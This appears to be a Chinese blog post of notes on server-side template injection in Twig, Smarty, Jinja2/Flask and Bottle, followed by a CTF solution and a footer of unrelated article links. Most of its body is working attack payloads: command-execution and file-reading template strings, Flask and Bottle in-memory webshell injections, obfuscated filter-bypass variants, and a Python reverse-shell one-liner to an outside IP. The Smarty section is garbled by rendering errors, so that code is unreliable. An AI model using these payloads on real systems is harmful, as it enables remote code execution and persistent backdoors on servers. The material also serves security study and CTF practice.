SSTI记录

SSTI(Server-Side Template Injection,服务器段模板注入)
当前使用的一些框架,如python的flask、php的tp、java的spring,都采用成熟的MVC模式,用户的输入会先进入到Controller控制器,然后根据请求的类型和请求的指令发给对应的业务模型进行业务逻辑判断、数据库存储、再把结果返回给view视图层,经过模板渲染展示给用户。
漏洞成因就是服务器段接收用户恶意输入未经任何处理就将其视为web应用模板的一部分,在渲染的过程,执行了用户插入的恶意语句。
分类
PHP中的SSTI
twig、smarty、blade
Twig
简介及测试
Twig是Symfony的模板引擎。Twig使用一个加载器loader(Twig_Loader_Array)来定位模板,以及一个环境变量来environment(Twig_Environment)来存储配置信息。
其中,render()方法通过第一个参数载入模板,第二个参数中的变量来渲染模板。
//渲染内容用户不可控

<?php // 加载 Composer 的自动加载文件 require_once dirname(__FILE__) . '\vendor\autoload.php'; // 创建 Twig 环境,使用 ArrayLoader 定义模板 $loader = new \Twig\Loader\ArrayLoader(['index' => 'Hello {{name}}']); $twig = new \Twig\Environment($loader); // 渲染模板,将用户输入的 name 参数传入,设置默认值防止未定义错误 $output = $twig->render('index', array("name" => $_GET["name"] ?? '')); echo $output; ?>

//渲染内容用户可控

<?php require_once dirname(__FILE__) . '\vendor\autoload.php'; $loader = new \Twig\Loader\ArrayLoader(); $twig = new \Twig\Environment($loader); $template = $_GET['template'] ?? 'Hello {{name}}'; // 用户输入模板 $loader->setTemplate('test', $template); echo $twig->render('test', ['name' => $_GET['name'] ?? '']); ?>

当渲染内容用户可控时,可以进行xss和模板注入

判断方式
由于{#comment#}作为Twig模板引擎的默认注释形式,在前端输出的时候不会显示,因此可以利用这个来判断是否使用了Twig模板引擎
可以使用下面这个语句进行测试:Mic{# comment #}{{28}}OK,
这里要经过url编码成:Misc%7b%23comment%23%7d%7b%7b1
2%7d%7dx%7b%7b2*3%7d%7d

smarty
简介及测试
最流行的php模板之一,为不受信任的模板执行提供了安全模式。这个会强制执行在php安全函数白名单中的函数,因此无法直接调用php中直接执行命令的函数(相当于一个disable_function)
但是 s m a r t y 内置变量可以用于访问各种环境变量,例如使用 s e l f 得到 s m a r t y 这个类然后去找 s m a r t y 中可以使用的方法。例如: p u b l i c f u n c t i o n g e t S t r e a m V a r i a b l e ( smarty内置变量可以用于访问各种环境变量,例如使用self得到smarty这个类然后去找smarty中可以使用的方法。 例如: public function getStreamVariable( smarty内置变量可以用于访问各种环境变量,例如使用self得到smarty这个类然后去找smarty中可以使用的方法。例如:publicfunctiongetStreamVariable(variable)
{
$_result = ‘’;
f p = f o p e n ( fp = fopen( fp=fopen(variable, ‘r+’);
if (KaTeX parse error: Expected '}', got 'EOF' at end of input: … while (!feof(fp) && ( c u r r e n t l i n e = f g e t s ( current_line = fgets( currentline=fgets(fp)) !== false) {
$_result .= KaTeX parse error: Expected 'EOF', got '}' at position 27: …e; }̲ fc…fp);
return $_result;
}
s m a r t y = i s s e t ( smarty = isset( smarty=isset(this->smarty) ? $this->smarty : t h i s ; i f ( this; if ( this;if(smarty->error_unassigned) {
throw new SmartyException(‘Undefined stream variable "’ . KaTeX parse error: Expected 'EOF', got '}' at position 26: … '"'); }̲ else { …smarty.version}

#{php}{/php}代码执行
{php}phpinfo();{/php}

#借助{literal}标签,因为{literal}可以让一个模板区域的字符原样输出(只适合php5)

#利用getsrteamvariable获取传入变量的流(适合旧版本的Smarty)
{self::getStreamVariable(“file:///etc/passwd”)}

#{if}{/if}代码执行
{if phpinfo()}{/if} {if system(‘id’)}{/if}

python中的SSTI
Jinja2(flask的一部分)、tornado、Django、
Jinja2
jinja2以Django模板那为模型,是Flask框架的一部分。jinja2会把模板参数提供的相应的值替换成{{…}}块(一种特殊的占位符),告诉模板引擎这个位置的值从模板渲染时使用的数据。
jinja2能识别所有类型的变量,甚至一些复杂类型(列表、字典、对象)
JAVA中的SSTI
velocity、FreeMarker

绕过
长度限制
较短payload(48、47)
利用flask内置全局函数
{{url_for.globals.os.popen(‘whoami’).read()}}

{{lipsum.globals.os.popen(‘whoami’).read()}}
利用config变量更新(34字符以内)
config对象实质上是一个字典的子类,因此更新字典使用update()方法,可以不用set()
如果是使用flask,可以利用里面的config对象,通过多步变量更新,绕过lipsum.globals
这个长度最长为34个字符
{{config.update(c=config.update)}}
● config.update()方法用于更新config里面的键值对,整个就是给config复制update方法本身,用于动态创建变量
{{config.update(g=“globals”)}}
● 将config[“g”]赋值为__globals__
{{config.c(f=lipsum[config.g])}}
● lipsum[config.g]等价于lipsum[“globals”]
● config.c让config.f=lipsum.globals,存储全局变量
{{config.c(o=config.f.os)}}
● 将config.o赋值为lipsum.globals.os,即os模块
{{config.c(p=config.o.popen)}}
● 将config.p赋值为lipsum.globals.os.popen
{{config.p(“cat /f*”).read()}}
进行命令执行。
命令总结
{{config.update(c=config.update)}}
{{config.update(g=“globals”)}}
{{config.c(f=lipsum[config.g])}}
{{config.c(o=config.f.os)}}
{{config.c(p=config.o.popen)}}
{{config.p(“cat /f*”).read()}}

flask内存🐎
基础及测试
Flask框架在web应用模板渲染的过程中,利用render_template_string进行渲染,但是未对用户传输的代码进行过滤导致用户可以通过注入恶意代码注入内存马
本地测试demo
from flask import Flask, request, render_template_string

app = Flask(name)

@app.route(‘/’)
def hello_world(): # put application’s code here
person = ‘knave’
if request.args.get(‘name’):
person = request.args.get(‘name’)
template = ‘

Hi, %s.

’ % person
return render_template_string(template)

if name == ‘main’:
app.run()

原始Payload: 然后在shell目录通过对cmd传参进行rce
url_for.globals[‘builtins’][‘eval’](“app.add_url_rule(‘/shell’, ‘shell’, lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read())”,{‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],‘app’:url_for.globals[‘current_app’]})
逐层分析:
url_for.globals[‘builtins’][‘eval’](
“app.add_url_rule(
‘/shell’,
‘shell’,
lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read()
)”,
{
‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],
‘app’:url_for.globals[‘current_app’]
}
)
url_for是Flask的内置属性
globals__是python中函数对象的一个熟悉,表示函数定义所在的全局命名空间。该属性是一个字典,包含了函数定义时可见的全局变量和函数。能返回函数所在模块命名空间的所有变量
传入{{url_for.globals}}可以看到这里支持__builtins

在__builtins__模块中, Python在启动时就直接为我们导入了很多内建函数,如:eval exec等

由于存在危险函数,可以直接调用命令来执行操作 (windows弹计算器要用calc命令)
也是成功弹计算器了
{{url_for.globals[‘builtins’][‘eval’](“import(‘os’).system(‘open -a Calculator’)”)}}
“app.add_url_rule(
‘/shell’,
‘shell’,
lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘cmd’, ‘whoami’)).read()
)”
这一部分payload的作用是动态添加一条路由,其调用了add_url_rule函数来添加路由,处理该路由的函数是由lamba关键字定义的匿名函数
查看add_url_rule函数

rule: 函数对应的URL规则,必须以 / 开头
lamba匿名函数通过os库中的popen函数执行web请求中获取的cmd参数值并返回结果,参数值默认为whoami
{
‘_request_ctx_stack’:url_for.globals[‘_request_ctx_stack’],
‘app’:url_for.globals[‘current_app’]
}
这一段中_request_ctx_stack是Flask的一个全局变量,是一个LocalStack实例
Bypass绕过
url_for可替换成get_flashed_messages或request.__init__或request.application
eval可换成exec
关键字过滤可采用拼接: 如[‘builtins’][‘eval’]变为[‘bui’+'ltins’][‘ev’+‘al’]
[]可用.getitem()或.pop()替换.
过滤{{或者}}, 可以使用{%或者%}绕过, {%%}中间可以执行if语句, 利用这一点可以进行类似盲注的操作或者外带代码执行结果.
过滤_可以用编码绕过, 如__class__替换成\x5f\x5fclass\x5f\x5f, 还可以用dir(0)[0][0]或者request[‘args’]或者request[‘values’]绕过.
过滤了.可以采用attr()或[]绕过
变形payload
request.application.self._get_data_for_json.getattribute(‘globa’+'ls’).getitem(‘bui’+'ltins’).getitem(‘ex’+‘ec’)(“app.add_url_rule(‘/h3rmesk1t’, ‘h3rmesk1t’, lambda :import(‘os’).popen(_request_ctx_stack.top.request.args.get(‘shell’, ‘calc’)).read())”,{‘_request_ct’+‘x_stack’:get_flashed_messages.getattribute(‘globa’+'ls’).pop(‘request’+‘ctx_stack’),‘app’:get_flashed_messages.getattribute(‘globa’+'ls’).pop(‘curre’+‘nt_app’)})
get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“builtins”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u0065\u0076\u0061\u006c”)(“app.add_ur”+“l_rule(‘/h3rmesk1t’, ‘h3rmesk1t’, la”+“mbda :imp"+"ort('o”+“s’).po”+“pen(_request_c”+“tx_stack.to”+“p.re”+“quest.args.get(‘shell’)).re”+“ad())”,{‘\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b’:get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u005f\u0072\u0065\u0071\u0075\u0065\u0073\u0074\u005f\u0063\u0074\u0078\u005f\u0073\u0074\u0061\u0063\u006b”),‘app’:get_flashed_messages|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fglobals\x5f\x5f”)|attr(“\x5f\x5fgetattribute\x5f\x5f”)(“\x5f\x5fgetitem\x5f\x5f”)(“\u0063\u0075\u0072\u0072\u0065\u006e\u0074\u005f\u0061\u0070\u0070”)})

bottle内存🐎
基础及测试
demo
from bottle import template, Bottle,request,error

app = Bottle()
@error(404)
@app.route(‘/shell’)
def index():
result = eval(request.params.get(‘cmd’))
return template(‘Hello {{result}}, how are you?’,result)
@app.route(‘/’)
def index():
return ‘Hello world’
if name == ‘main’:
app.run(host=‘0.0.0.0’, port=8888,debug=True)
首先在装饰器里面直接调用一个rout函数,可以看一下函数内容:
def route(self,path=None,method=‘GET’,callback=None,name=None,apply=None,skip=None, **config):
if callable(path): path, callback = None, path
plugins = makelist(apply)
skiplist = makelist(skip)
def decorator(callback):
if isinstance(callback, basestring): callback = load(callback)
for rule in makelist(path) or yieldroutes(callback):
for verb in makelist(method):
verb = verb.upper()
route = Route(self, rule, verb, callback,
name=name,
plugins=plugins,
skiplist=skiplist, **config)
self.add_route(route)
return callback
return decorator(callback) if callback else decorator
首先进行了一个判断,如果path是一个可调用的对象(例如一个函数),就交换path和callback的角色,将原本path的值赋给callback,并将path设置为None。下面的就是装饰器,专门用来接收callback参数,然后都是生成路由的规则。
最后进入add_route函数。
def add_route(self, route):
“”" Add a route object, but do not change the :data:Route.app
attribute.“”"
self.routes.append(route)
self.router.add(route.rule, route.method, route, name=route.name)
if DEBUG: route.prepare()
那么该如何利用callback函数呢,我们知道路由可以传入一个callback作为回调参数或是处理请求函数,在路由本身解析的过程中,它的本意是与用户自定义的一个函数进行绑定,那么如何通过不写一个完整的def情况下自定义一个函数呢?这里就用到了pyth自带的lambda表达式。
lambda表达式语法:
甚至还可以省略arguments函数,例如:lambda: print(666)
lambda arguments: expression
例如:执行下面这段poc
127.0.0.1:8888/shell?cmd=app.route(“/a”,“GET”,lambda :print(666))
然后访问/a路由,虽然发现是空白,但是在服务器端,成功执行了代码:

漏洞利用
思路(1)直接绑定路由
手动引入os执行命令
http://127.0.0.1:8888/shell?cmd=app.route(“/c”,“GET”,lambda :import(“os”).popen(‘whoami’).read())
接着访问/c路由,成功执行命令,并且有回显:

或者使用
http://127.0.0.1:8888/shell?cmd=app.route(“/c”,“GET”,lambda :import(‘os’).popen(request.params.get(‘a’)).read())
然后在/c路由下通过a参数进行命令执行也可以

思路(2)利用错误页面
有时候框架会自己定义报错页面,例如404、500等页面会有对应的输出,在bottle框架中会让我们自定义错误响应。
例如:

可以直接自定义一个新的404错误处理函数e,在页面报错404的时候进行命令执行。
http://127.0.0.1:8888/shell?cmd=app.error(404)(lambda e: import(‘os’).popen(request.query.get(‘a’)).read())
接着随便访问一个不存在的目录,然后利用参数a进行命令执行即可

思路(3)利用hook
hook相当于一个钩子,当程序执行的时候,hook挂在哪里就会执行哪里。
例如下面这些事件就会触发钩子。

例如这个增加钩子的函数,可以选择在执行钩子集合(上面那些)前面加钩子(insert(0,func)),也可以选择在后面加钩子(append(func))

这里以before_request为例(其他几个效果一样):
http://127.0.0.1:8888/shell?cmd=app.add_hook(“before_request”,lambda : print(4))
但是由于第一次访问只是注册了一个钩子,不会立即执行,第二次新的请求进来才会触发钩子,即这里执行第二个命令的时候才会执行前一个命令。(在服务器端回显)
但是这里还需要直接看到回显,这里利用的是响应头,想要控制响应头一定要关注response这个操作对象。
可以翻到这个类

再继续往下翻可以看到一个设置响应头的方法

有了这个可以设置键值对了,现在关键点是如何调用response对象
我们在使用bottle框架的时候内置的response对象,我们在import之后可以直接调用,也可以使用__imort__引入__import__(‘bottle’).response即可。
poc:
app.add_hook(‘before_request’, lambda: import(‘bottle’).response.set_header( ‘X-flag’, import(‘base64’).b64encode( import(‘os’).popen(request.query.get(‘a’, ‘echo No command provided’)).read().encode(‘utf-8’) ).decode(‘utf-8’) ))
然后在跟页面利用参数a执行命令,回显会在响应头中进行base64加密

还有一种利用bootle框架内的内置函数abort,不仅可以触发一个异常,而且第二个参数是我们可以控制在回显页面上的。

poc:
app.add_hook(‘before_request’, lambda: import(‘bottle’).abort(666,import(‘os’).popen(request.query.get(‘a’)).read()))
这里abort随便接一个不常见的端口号即可,然后以这个端口号为目录进行访问(随便访问一个目录好像也可以),利用a传参进行命令执行

题目练习
GHCTF Message in a Bottle
Bottle也是python的一个渲染框架。
from bottle import Bottle, request, template, run

app = Bottle()

存储留言的列表

messages = []
def handle_message(message):
message_items = “”.join([f"“”


{msg}

#{idx + 1} - 刚刚

“”" for idx, msg in enumerate(message)])

board = f"""留言板内容......"""
return board

def waf(message):
return message.replace(“{”, “”).replace(“}”, “”)

@app.route(‘/’)
def index():
return template(handle_message(messages))

@app.route(‘/Clean’)
def Clean():
global messages
messages = []
return ‘’

@app.route(‘/submit’, method=‘POST’)
def submit():
message = waf(request.forms.get(‘message’))
messages.append(message)
return template(handle_message(messages))

if name == ‘main’:
run(app, host=‘localhost’, port=9000)
看源码可以看到过滤了{和}

但是在官方文档中看到,可以使用%来嵌入一行代码,例如:
% result=5*5
可以使用<%和%>来嵌入代码块,例如:
<%
test
%>
方法一:
% (import(‘os’).popen(‘tac /flag >456.txt’).read())
执行没有回显,反弹shell没成功,使用include包含
% include(‘456.txt’)
方法二:
% import(‘os’).popen(“python3 -c ‘import os,pty,socket;s=socket.socket();s.connect((“111.xxx.xxx.xxx”,7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(“sh”)’”).read()
方法三:
% from bottle import Bottle, request
% app=import(‘sys’).modules[‘main’].dict[‘app’]
% app.route(“/shell”,“GET”,lambda :import(‘os’).popen(request.params.get(‘lalala’)).read())

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/diannao/82732.shtml
繁体地址,请注明出处:http://hk.pswp.cn/diannao/82732.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

探索边缘计算:赋能物联网的未来

摘要 随着物联网&#xff08;IoT&#xff09;技术的飞速发展&#xff0c;越来越多的设备接入网络&#xff0c;产生了海量的数据。传统的云计算模式在处理这些数据时面临着延迟高、带宽不足等问题&#xff0c;而边缘计算的出现为解决这些问题提供了新的思路。本文将深入探讨边缘…

tabs切换#

1、html <el-tabs v-model"tabValue" tab-change"handleTabClick"><el-tab-pane label"集群" name"1"></el-tab-pane><el-tab-pane label"节点" name"2"></el-tab-pane></el-ta…

JSON 实体属性映射的最佳实践

一、结构与命名规范 ‌保持字段命名一致性‌ JSON 字段名与实体属性名应遵循统一的命名规则&#xff08;如驼峰命名或下划线分隔&#xff09;&#xff0c;避免因大小写差异导致映射失败。 // 使用 JsonProperty 显式指定映射关系&#xff08;Jackson&#xff09; public class …

hiveserver2与beeline进行远程连接hive配置及遇到的问题

1、hiveserver2 参与用户模拟功能&#xff0c;因为开启后才能保证各用户之间的权限隔离。 1.1、配置 $HADOOP_HOME/etc/hadoop/core-site.xml <!--配置所有节点的root用户都可作为代理用户--> <property><name>hadoop.proxyuser.root.hosts</name>&…

硅基计划2.0 学习总结 壹 Java初阶

一、初见Java &#xff08;1&#xff09;Java简介 首先不得不承认Java是一门优秀的程序设计语言 其系列的计算机软件和跨平台体系包括国内的生态链完善是C/C语言难以弥补的 &#xff08;2&#xff09;Java SE 全称Java Standard Edition&#xff0c;是Java体系的基础 &am…

nRF5_SDK_17.1.0_ddde560之ble_app_uart_c 出错

Error #541: ARM::CMSIS:CORE:5.3.0 component is missing (previously found in pack ARM.CMSIS.5.6.0) Error #541: NordicSemiconductor::Device:Startup:8.40.3 component is missing (previously found in pack NordicSemiconductor.nRF_DeviceFamilyPack.8.40.3) 下载n…

基于大模型预测的多发性硬化综合诊疗方案研究报告大纲

目录 一、引言二、文献综述三、大模型预测系统构建四、术前预测与手术方案制定五、术中监测与决策支持六、术后护理与并发症预测七、麻醉方案智能优化八、统计分析与技术验证九、实验验证与证据支持十、健康教育与指导系统十一、结论与展望一、引言 (一)研究背景与意义 多发…

bootstrap自助(抽样)法

一&#xff0c;概念 一言以蔽之&#xff1a;从训练集中有放回的均匀抽样——》本质就是有放回抽样&#xff1b; 自助法&#xff08;bootstrap&#xff09;是一种通过从数据集中重复抽样来估计统计量分布的非参数方法。它可用于构建假设检验&#xff0c;当对参数模型的假设存在…

用1W字讲透数据预处理,数据增强

大家好&#xff01;我是我不是小upper~ 今天咱们来聊聊数据增强 —— 这个在机器学习领域堪称 “数据魔法” 的实用技术&#xff01; 在深度学习的世界里&#xff0c;数据就像模型的 “养分”。数据的质量和数量&#xff0c;直接决定了模型最终能达到的 “高度”。当数据不足时…

无人机空中物流优化:用 Python 打造高效配送模型

友友们好! 我是Echo_Wish,我的的新专栏《Python进阶》以及《Python!实战!》正式启动啦!这是专为那些渴望提升Python技能的朋友们量身打造的专栏,无论你是已经有一定基础的开发者,还是希望深入挖掘Python潜力的爱好者,这里都将是你不可错过的宝藏。 在这个专栏中,你将会…

C++核心编程解析:模板、容器与异常处理全指南

文章目录 一、模板1.1 定义1.2 作用1.3 函数模版1.3.1 格式 1.4 类模版1.4.1 格式1.4.2 代码示例1.4.3 特性 二、容器2.1 概念2.2 容器特性2.3 分类2.4 向量vector2.4.1 特性2.4.2 初始化与操作2.4.3 插入删除 2.5 迭代器2.6 列表&#xff08;list&#xff09;2.6.1 遍历方式2.…

JWT的介绍与在Fastapi框架中的应用

什么是JWT JWT (JSON Web Token) 是一个开放标准 ( RFC 7519 )&#xff0c;它定义了一种紧凑且自包含的方式&#xff0c;用于在各方之间安全地以 JSON 对象的形式传输信息。由于这些信息经过数字签名&#xff0c;因此可以被验证和信任。JWT 可以使用密钥&#xff08;采用HMAC算…

dfs第二次加训 详细题解 下

目录 B4158 [BCSP-X 2024 12 月小学高年级组] 质数补全 思路 B4279 [蓝桥杯青少年组国赛 2023] 数独填数、 思路 P5198 [USACO19JAN] Icy Perimeter S 思路 P5429 [USACO19OPEN] Fence Planning S 思路 P6111 [USACO18JAN] MooTube S 思路 P6207 [USACO06OCT] Cows …

配置Hadoop集群环境准备

&#xff08;一&#xff09;Hadoop的运行模式 一共有三种&#xff1a; 本地运行。伪分布式完全分布式 &#xff08;二&#xff09;Hadoop的完全分布式运行 要模拟这个功能&#xff0c;我们需要做好如下的准备。 1&#xff09;准备3台客户机&#xff08;关闭防火墙、静态IP、…

Python60日基础学习打卡D12【虫豸版】

退火算法 物理现象&#xff1a;退火现象指物体逐渐降温的物理现象&#xff0c;温度愈低&#xff0c;物体的能量状态会低&#xff1b;温度足够低后&#xff0c;液体开始冷凝与结晶&#xff0c;在结晶状态时&#xff0c;系统的能量状态最低。大自然在缓慢降温(即退火)时&#xf…

1.3.1 Linux音频框架alsa详细介绍

ALSA作为对旧OSS系统的替代方案&#xff0c;始于1998年。当时OSS还闭源商业化&#xff0c;因此社区开始开发开源的ALSA。经过多年的发展&#xff0c;ALSA成为Linux内核中音频架构的标准。 结构和架构 ALSA由以下几个主要部分组成&#xff1a; 内核模块&#xff1a; 这是ALSA的…

# 07_Elastic Stack 从入门到实践(七)---1

07_Elastic Stack 从入门到实践(七)—1 一、Filebeat入门之读取 Nginx 日志文件 1、首先启动 Elasticsearch 集群 和 Nginx 服务,打开GoogleChrome 浏览器,点击 elasticsearch-head 插件,连接Elasticsearch 集群 服务器。 # 查看网卡名 $ ip addr# 修改网卡配置,改为…

BUUCTF 大流量分析(三) 1

BUUCTF:https://buuoj.cn/challenges 文章目录 题目描述&#xff1a;密文&#xff1a;解题思路&#xff1a;flag&#xff1a; 相关阅读 CTF Wiki BUUCTF | 大流量分析 &#xff08;一&#xff09;&#xff08;二&#xff09;&#xff08;三&#xff09; 题目描述&#xff1a; …

数据库的进阶操作

目录 1、数据库的约束 2、查询操作的进阶 2.1 查询插入 2.2 聚合查询 2.3 运算查询 2.3 分组查询 2.4 联合查询 2.5 内外连接 2.6 子查询 2.7 合并查询 1、数据库的约束 数据库的约束是指&#xff1a;数据库会自动的对数据的合法性进行校验和检查的一系列操作的机制&a…

.Net HttpClient 使用请求数据

HttpClient 使用请求数据 0、初始化及全局设置 //初始化&#xff1a;必须先执行一次 #!import ./ini.ipynb1、使用url 传参 参数放在Url里&#xff0c;形如&#xff1a;http://www.baidu.com?namezhangsan&age18, GET、Head请求用的比较多。优点是简单、方便&#xff0…